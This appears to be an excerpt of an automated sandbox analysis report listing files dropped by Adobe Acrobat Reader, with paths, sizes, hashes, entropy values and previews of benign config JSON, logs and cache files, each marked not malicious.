Preview:	{"analyticsData":{"responseGUID":"c59eca74-1b61-473a-97ac-104326b89dee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1741515896915,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.244342967924346
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzOvvKPHfAHJR+FIbRI6XVW7+0YpbxoAvJfbPtdPeUkwRe9:YvXKXzOnKPIHyYpW7UyGDV8Ukee9
MD5:	4BBEEFA2681FAF9713803A0A59BEAB01
SHA1:	72A2BAE6FB8DF8BA51007052D6867F500B73ECDD
SHA-256:	D89609EB25D7672C392A1C52D28CC56ACFB89EEDC58494C143D5DE07D81239B6
SHA-512:	94B1CE6D56F77BCB9FA866E188066BCE7E1B727DD619CF147850C0923C017F3DDAC11FD299D954FB4E41DB3BA53F7CD9F89ABCBED830875B345228F6E84E1C2E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c59eca74-1b61-473a-97ac-104326b89dee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1741515896915,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.245765653773737
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzOvvKPHfAHJR+FIbRI6XVW7+0YpbxoAvJf21rPeUkwRe9:YvXKXzOnKPIHyYpW7UyG+16Ukee9
MD5:	47C17B2222F96F2694A6482D86B3E32D
SHA1:	173FF0C0968D233D6BB8BFD6C56E9BE11AFF1FF3
SHA-256:	F82515FBF621AC09AEF62267CA85BDBA1AFCEB4FEE2D1271B40B6778D901CEA1
SHA-512:	EEFC5E53764871F1F85058291F70B4392CACCB3C67A62103FFC746CBB8052D8C2A31568FC6B5DF5D40A614B76C6A670CB3D49BB307B55ED0D7D16A1021F460D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c59eca74-1b61-473a-97ac-104326b89dee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1741515896915,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2034
Entropy (8bit):	5.8401517739036235
Encrypted:	false
SSDEEP:	48:YvZ88BgnmQUIG48j/SiyaAOumRlQDcSmjWA76Y:GzgnTUb4+/ZrumPQoSmjz
MD5:	93C258234BE7778E5BD61E0841BE3FA4
SHA1:	A0F8464AF3FFEC912D7B4EF348CDE8BB0FA4B7D0
SHA-256:	6E3006399B54E1C5EC1DF642520D65A71340BA9C710F5CCB83655C176347E253
SHA-512:	A0D6F8F6BD2B6258B5C8ABC9C5DDBFB04792975BEFF9A1F90FA470889CDD69EAC2E54D7D8961EDD1F04A534190CAA0B14B7264F39B44E37B0048DEC01B3532E7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c59eca74-1b61-473a-97ac-104326b89dee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1741515896915,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"98856_305507ActionBlock_0","campaignId":98856,"containerId":"1","controlGroupId":"","treatmentId":"e62f3b57-7a94-481f-9907-c3665f96acef","variationId":"305507"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJkYXRhIjp7ImxocFYyQnlQYXRoIjp7Iml0ZW0iOnsiX3BhdGgiOiIvY29udGVudC9kYW0vYWNyb2JhdGRlc2t0b3AvZ3Jvd3RoL3JlYWRlci9lbi11cy9saHAtYmFubmVyL3YyL3NpZ24iLCJfdmFyaWF0aW9uIjoicmdzMDM2MS0wIiwidGl0bGUiOm51bGwsImRlc2NyaXB0aW9uIjoiRWFzaWx5IGZpbGwgYW5kIHNpZ24gUERGcy4iLCJjdGFMYWJlbCI6bnVsbCwiY3RhQmVoYXZpb3IiOm51bGwsImN0YVVybCI6bnVsbCwiY3RhVXJsVHlwZSI6bnVsbCwidHJhY2tpbmdJZCI6IlJHUzAzNjEtRU5VL

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.221242121029696
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzOvvKPHfAHJR+FIbRI6XVW7+0YpbxoAvJfshHHrPeUkwRe9:YvXKXzOnKPIHyYpW7UyGUUUkee9
MD5:	D5A59A7B8C93F7119231BB1F01CA7E8C
SHA1:	413BF8E513FDF67D03274AD89101E5D377387490
SHA-256:	E4BC0ADFD31C82B1DB7C65798509F76EF33C1B0AAF1ED07CF89C22F49D0DECB3
SHA-512:	B52B3853C8C2391BE3AF48D473588E271584BE88FADD54807C312769681006FBA9218F3FB5F0D0DA85308B5B422A25659F1519E4949DA1F2D4A99CC4B28030FC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c59eca74-1b61-473a-97ac-104326b89dee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1741515896915,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.238358247899673
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzOvvKPHfAHJR+FIbRI6XVW7+0YpbxoAvJTqgFCrPeUkwRe9:YvXKXzOnKPIHyYpW7UyGTq16Ukee9
MD5:	0857A9552B9C26B76C7C8749BB60A60C
SHA1:	2066C255E212AE13332E13A8068F780561C9432C
SHA-256:	BCCF4DE920B8471296070831D7422893A3292DEF7194079411BBD983BECA66E5
SHA-512:	CB62510BA0E03A32938AB3AE7FAF86D9855E0EBE990B7CFE6BF08B56CBE8657419917A670C5947D74DD29E0CAC7062266418CC90E849CDA8FCB43FB038BA6DA4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c59eca74-1b61-473a-97ac-104326b89dee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1741515896915,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2815
Entropy (8bit):	5.134531379583864
Encrypted:	false
SSDEEP:	48:Yh4KuICvFQftGF86qXG2dvlsHOc3pG9It91oVzHwZPYE9Q4bQ:s40Cvqftw86qXG2dvlsHd3M291otSdQZ
MD5:	A47E6552D1F68DE6392054A758A1C8A3
SHA1:	00931793A35DF3A594E442604F438A9B8F9CBC45
SHA-256:	8D811838D732A781DA72B8430AFE8BF44F81176083F3E34F710B93E601FE8A0D
SHA-512:	DFF9AF8545DC8CA86FFCC305433A6FCB02597EEE86A39B7B08F8EFA2273830BC124D95BC79E8252A7487B295883210A7083EDACEDD5444D795E789302576CBE0
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"bc7fbaf1c8c18d94ebfab94602adf66c","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1741338851000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"c5aee22d3620b2559954a63df93f3ca8","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":2082,"ts":1741338851000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"208a65c35318730bc73aeabeb4ee61e7","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":2135,"ts":1741338851000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a69df81529e4430c54773e1e2075573e","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":2034,"ts":1741338851000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"82d87f51451ae60f6c89c2d0e10a10b2","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1741338851000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"dc2b1358d3077dfd68d417a1d47e55f5","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file",

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9853552932714849
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Sp8hKG4zJwtNBwtNbRZ6bRZ4DhKGF:TVl2GL7ms6ggOVp8hozutYtp6POh1
MD5:	80026F2471DDA1D13C25F2D39A347254
SHA1:	5124F2BE679CB210638C4F88C7E76AA6DFF74752
SHA-256:	DB1D6AD20612CB26C3B87775E4C7CAD0EC634470F16446E7C23F8049B024B5C6
SHA-512:	FC166A8CD6F1A82197C158E689E51BB25E6D60387EBAF9C5DFC31EA7020B62E6140FF7237620CD597C100D33D4A9FCE1C1785EAF6EE067144478C135EC531CCC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3386354195210364
Encrypted:	false
SSDEEP:	24:7+taAD1RZKHs/Ds/Sp8hKGPzJwtNBwtNbRZ6bRZWf1RZKaqLBx/XYKQvGJF7ursr:7MaGgOVp8hfzutYtp6PMHqll2GL7msr
MD5:	C239F6FF2B2D6057DEE225F00825CA79
SHA1:	DB8CB96DFB6037F57572610ED4A576E580B79259
SHA-256:	FCC1D02D589BF161B35BE356B311681FEE180DFCB2F03D6BC8452ABD2DD773EB
SHA-512:	5BD148F9DA09C579F876F011A2AD9095E1C526044CDCBD747E7E85A2803B3414CD37B065A346D19A7EBFBB5C840B2028B1CDD1572BA7F6C3133FBE030553FE6E
Malicious:	false
Preview:	.... .c......Lq.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgf/4JSTCd1HjvrFnU87WlnK0Cd48oYyu:6a6TZ44ADEf/ySTS1H/WnK0B3K
MD5:	3CA03AF105B5A7031FFB122C3BD60335
SHA1:	48A66E4867D3BAB7CB65BCDF073EBB0937B8CC62
SHA-256:	3CB54CDA8C81B47E4DDC4D02E4A75DE7CFE99D5CEAA8956CFDDDEC66B639E906
SHA-512:	04E7F4B5D53F660CFA7086E4CFDE51F6345731782189245609DA97DF48E1EC5EA5257BD3FBAE68EBE401DB7E9D52FF56A85D266E7BF662A94C2E7C937CC36EEB
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Temp\MSIb79d8.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.529459928009153
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8yQ+l3le:Qw946cPbiOxDlbYnuRKT0
MD5:	18D6992B2F077456E385685DD14DB7E2
SHA1:	FC2A69726D5FDB4AE9A3059B730D7C43F69AF7B7
SHA-256:	CD55D8BED1AE9440C7F5AD1C0FFD24ECCA7CF81C0467BACC237173D3C06424BA
SHA-512:	A04D5152AF370085928BAF70396487881C099DC84C68F727CF68C5F734E4C481723F028D36ABB0CE50C3BEB95305EB52E505D2541E0581E3D811DAF73D384DCC
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .0.7./.0.3./.2.0.2.5. . .0.4.:.1.4.:.0.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-03-07 04-14-00-942.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.352697393858801
Encrypted:	false
SSDEEP:	384:mSAzMzzzMzMzvRUBRDRqRaRuoRJRSRxRDRkaZazlplTO8f0flf0fEnKcK4KyV02q:qU8
MD5:	D590DE0296704153DEAAADC63A90EF34
SHA1:	BEF3FFE1C1EC019F4A6DC5904EA6719616EAB204
SHA-256:	A81C3DE5EDCB0F83144A1170399DCE861BBBAD82F6EA02481CEB19A15AF16DFC
SHA-512:	D49FD76044FCC2C0FD514A86210E63E5D666164CCC209FDA4739D27D1D15F5BD264E8847B4F9618C86BC4D9062B49928F398FAFDDA2F572ABC82306C3E4964D1
Malicious:	false
Preview:	SessionID=3cac81e5-3523-4247-bf50-68286277e45f.1741338840968 Timestamp=2025-03-07T04:14:00:968-0500 ThreadID=4832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=3cac81e5-3523-4247-bf50-68286277e45f.1741338840968 Timestamp=2025-03-07T04:14:00:969-0500 ThreadID=4832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=3cac81e5-3523-4247-bf50-68286277e45f.1741338840968 Timestamp=2025-03-07T04:14:00:969-0500 ThreadID=4832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=3cac81e5-3523-4247-bf50-68286277e45f.1741338840968 Timestamp=2025-03-07T04:14:00:969-0500 ThreadID=4832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=3cac81e5-3523-4247-bf50-68286277e45f.1741338840968 Timestamp=2025-03-07T04:14:00:969-0500 ThreadID=4832 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.391063917022593
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbw:f0
MD5:	822E437AB2F43241EFD82100E51E4C7C
SHA1:	C2303EC5474A8C8BFEF3D3B94CEF4E1BCF07F798
SHA-256:	6B740DC33289A41A83A517EB94F02140B3858ACF7585664730976202337BA635
SHA-512:	1D7965E6EEC9A99484C16F38A9D53F10D45A71F90B401072689274A28227E203A8E8D89E70C611CC7E363D0925786E6A2B78209D883CA7F10B9E9EE32E08C754
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\23950afc-a1cd-4912-9d5d-c3fd6d1e6d38.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\4f099db6-aeb6-4c1d-91bf-d291797c0fe1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9dbe175b-07c2-4c71-8c43-274abb6d1df0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\9df26254-da9f-4870-958a-11eb461b3dc5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/2wYIGNP4mOWL07oYGZZdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:OwZG6bWLxYGZh3mlind9i4ufFXpAXkru
MD5:	B35FED7BE92D90BA6DDDCEF30C86FA29
